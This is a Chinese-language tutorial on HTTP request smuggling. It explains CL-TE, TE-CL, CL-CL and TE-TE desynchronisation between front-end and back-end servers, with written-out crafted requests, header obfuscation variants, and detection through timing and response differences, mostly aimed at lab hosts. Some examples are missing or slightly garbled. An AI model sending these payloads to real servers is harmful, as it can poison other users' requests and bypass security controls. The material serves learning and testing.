HTTP请求走私是一种干扰网站处理HTTP请求序列方式的技术。 HTTP请求走私漏洞使攻击者可以绕过安全设置,未经授权访问敏感数据并直接危害其他应用程序用户。
为了提升用户浏览速度,很多Web应用程序在用户和应用程序逻辑之间使用HTTP服务器链,用户将请求发送到前端服务器(负载平衡器或反向代理),并且此服务器将请求转发到一个或多个后端服务器。
当我们向代理服务器发送一个比较模糊的HTTP请求时,由于代理服务器和后端服务器的对请求的处理方式不同,代理服务器认为这是一个HTTP请求,然后将其转发给了后端的源站服务器,但源站服务器经过解析处理后,只认为其中的一部分为正常请求,剩下的那一部分,就算是走私的请求,而剩下的这一部分会被保存在缓冲区中,这一部分会拼接在下一个请求之前,因此可能会干扰应用程序处理该请求的方式,造成请求走私攻击。
HTTP请求走私攻击大部分是将Content-Length标头和Transfer-Encoding 标头放入单个HTTP请求中,并对其进行操作,前端服务器和后端服务器以不同的方式处理请求导致。
Content-Length 是一个实体消息首部,用来指明发送给接收方的消息主体的大小,即用十进制数字表示的八位元组的数目。
Transfer-Encoding 消息首部指明了将 entity 安全传递给用户所采用的编码形式,Transfer-Encoding 是一个逐跳传输消息首部,即仅应用于两个节点之间的消息传递,而不是所请求的资源本身。一个多节点连接中的每一段都可以应用不同的Transfer-Encoding 值。
下文中rn为换行符,代表两个字节。
2.1、CL不为0的get请求
假设前端代理服务器允许GET请求携带请求体,而后端服务器不允许GET请求携带请求体,它会直接忽略掉GET请求中的Content-Length头,不进行处理,这就有可能导致请求走私。(适用于不带请求体的任何请求) 构造如下请求:
GET / HTTP/1.1\r\n
Host: test.com\r\n
Content-Length: 7\r\n
GET / index.html HTTP/1.1\r\n
Host: test.com\r\n
\r\n
前端服务器收到该请求,通过读取Content-Length,判断这是一个完整的请求,然后转发给后端服务器;而后端服务器收到后,因为它不对Content-Length进行处理,而由于客户端无需等待服务器响应,可以一直发送信息,就导致后端服务器认为是收到了两个请求,分别是:
1、
GET / HTTP/1.1\r\n
Host: test.com\r\n
Content-Length: 7\r\n
2、
GET / index.html HTTP/1.1\r\n
Host: test.com\r\n
至此,就导致了请求走私。
2.2、CL-CL
RFC7230规范中规定,当服务器收到的请求中包含两个Content-Length,而且两者的值不同时,则返回400错误;但是有些服务器不遵守此规范:假设中间的代理服务器和后端的源站服务器在收到类似的请求时,都不返回400错误,但是中间代理服务器按照第一个Content-Length的值对请求进行处理,而后端源站服务器按照第二个Content-Length的值进行处理。
构造如下请求:
POST / HTTP/1.1\r\n
Host: test.com\r\n
Content-Length: 6\r\n
Content-Length: 5\r\n
aaa\r\n
A
中间代理服务器获取到的数据包的长度为6,后端服务器获取到的数据包长度为5。当读取完前5个字符后,后端服务器读取完毕进行响应,但此时缓冲区还剩下一个A,如果此时另一个用户对服务器发起请求,请求如下:
GET /index.html HTTP/1.1\r\n
Host: test.com\r\n
此时服务器对当前用户的处理就是:
AGET /index.html HTTP/1.1\r\n
Host: test.com\r\n
2.3、CL-TE
当收到存在两个请求头的请求包时,前端服务器使用Content-Length头部,后端服务器忽略Content-Length头部,使用Transfer-Encoding头部。
由于前端服务器处理Content-Length,请求体的长度为6(0rnrnG),是一个完整的请求。 当请求包经过代理服务器到后端服务器时,后端服务器处理Transfer-Encoding,当它读取到0rnrn时,认为已经读取完成,G就被留在了缓冲区中;当我们重复发送请求后,发送的请求在后端服务器拼接成了类似下面这种请求:
GPOST / HTTP/1.1\r\n
Host: ace81f151e1614c5c009598e00d5002e.web-security-academy.net\r\n
......
服务器在解析时报错。
2.4、TE-CL
当收到存在两个请求头的请求包时,前端服务器使用Transfer-Encoding头部,后端服务器使用Content-Length头部。
POST / HTTP/1.1\r\n
Host: acf41f441edb9dc9806dca7b00000035.web-security-academy.net\r\n
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0\r\n
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n
Accept-Language: en-US,en;q=0.5\r\n
Cookie: session=3Eyiu83ZSygjzgAfyGPn8VdGbKw5ifew\r\n
Content-Length: 4\r\n
Transfer-Encoding: chunked\r\n
\r\n
12\r\n
GPOST / HTTP/1.1\r\n
\r\n
0\r\n
\r\n
由于前端服务器处理Transfer-Encoding,当其读取到0rnrn时,认为是读取完毕了,此时这个请求对代理服务器来说是一个完整的请求,然后转发给后端服务器,后端服务器处理Content-Length请求头,当它读取完12rn之后,就认为这个请求已经结束了,后面的数据就认为是另一个请求了,也就是:
GPOST / HTTP/1.1\r\n
\r\n
0\r\n
\r\n
示例如下,利用burpsuite发出两次以下请求:
服务器在解析时报错。
2.5、TE-TE
当收到存在两个请求头的请求包时,前后端服务器都处理Transfer-Encoding请求头,我们可以对发送的请求包中的Transfer-Encoding进行某种混淆操作,从而使其中一个服务器不处理Transfer-Encoding请求头。 发现TE-TE漏洞,需要找到Transfer-Encoding头部的一些变体,以便只有前端或后端服务器之一处理它,而另一台服务器忽略它。
混淆Transfer-Encoding的方法:
①Transfer-Encoding: xchunked
②Transfer-Encoding : chunked
③Transfer-Encoding: chunked
④Transfer-Encoding: x
⑤Transfer-Encoding:[tab]chunked
⑥[space]Transfer-Encoding: chunked
⑦X: X[\n]Transfer-Encoding: chunked
⑧Transfer-Encoding
: chunked
示例如下,利用burpsuite发出两次以下请求:
服务器在解析时报错。
3.1、利用时间延迟
1、利用时间延迟查找CL-TE漏洞 发送如下请求:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 4
1
A
X
由于前端服务器使用Content-Length标头,因此它只会转发此请求的一部分(1rn),省略X;后端服务器使用Transfer-Encoding标头,处理第一个块,然后等待下一个块到达,则导致时间延迟。
2、利用时间延迟查找TE-CL漏洞 发送如下请求:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 6
0
X
由于前端服务器使用Transfer-Encoding标头,因此它只会转发此请求的一部分,省略X.;后端服务器使用Content-Length标头,期望消息体中有更多内容,并等待剩余内容到达,则导致时间延迟。
3.2、利用响应差异
在利用响应差异来寻找HTTP请求走私漏洞时,我们需要连续向应用程序发送两个请求:
1、旨在干扰下一个请求的"攻击"请求;
2、一个正常的请求。
一个正常请求如下:
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
q=smuggling
1、利用响应差异查找 CL-TE 漏洞 发送攻击请求如下:
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 49
Transfer-Encoding: chunked
e
q=smuggling&x=
0
GET /404 HTTP/1.1
Foo: x
前端服务器使用Content-Length标头转发全部请求,后端服务器使用使用Transfer-Encoding标头请求ernq=smuggling&x=rn0,剩下的GET /404 HTTP/1.1rnFoo: x则会跟随下一个请求,导致后一个请求如下:
GET /404 HTTP/1.1
Foo: xPOST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
q=smuggling
由于这个请求现在包含一个无效的 URL,服务器将响应状态码 404,表明受到攻击请求的干扰。
例如如下请求,持续请求两次:
2、利用响应差异查找 CL-TE 漏洞 发送攻击请求如下:
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
7c
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 144
x=
0
如果攻击成功,那么从GET /404后面开始的所有内容都会被后端服务器视为属于接收到的下一个请求。这将导致随后的正常请求如下所示:
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 146
x=
0
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
q=smuggling
由于这个请求现在包含一个无效的 URL,服务器将响应状态码 404,表明受到攻击请求的干扰。
例如如下请求,持续请求两次,需设置update content-length为不更新:
3.3、漏洞挖掘条件
在尝试通过干扰其他请求来确认请求走私漏洞时,应考虑如下因素: 1、"攻击"请求和"正常"请求应该使用不同的网络连接发送到服务器;通过同一连接发送两个请求并不能证明该漏洞存在。 2、"攻击"请求和"正常"请求应尽可能使用相同的URL和参数名称。这是因为许多现代应用程序根据 URL 和参数将前端请求路由到不同的后端服务器;使用相同的URL和参数会增加请求被同一后端服务器处理的机会,这对于攻击的进行至关重要。 3、在测试"正常"请求以检测来自“攻击”请求的任何干扰时,我们发送的请i去会与应用程序同时接收的任何其他请求(包括来自其他用户的请求)竞争;所以我们应该在"攻击"请求之后立即发送"正常"请求。如果应用程序繁忙,可能需要执行多次尝试来确认漏洞。 4、在一些应用中,前端服务器充当负载均衡器,根据某种负载均衡算法将请求转发到不同的后端系统。如果我们的"攻击"请求和"正常"请求被转发到不同的后端系统,那么攻击就会失败。因此,有时我们需要多次尝试才能确认漏洞。 5、如果我们攻击成功干扰了后续请求,但这不是我们为检测干扰而发送的"正常"请求,那么这意味着另一个应用程序用户受到了我们的攻击。此时如果我们继续执行测试,可能会对其他用户产生破坏性影响,所以请谨慎行事。
参考来源: ①https://www.blackhat.com/us-19/briefings/schedule/#http-desync-attacks-smashing-into-the-cell-next-door-15153 ②https://portswigger.net/web-security/request-smuggling ③https://datatracker.ietf.org/doc/html/rfc7231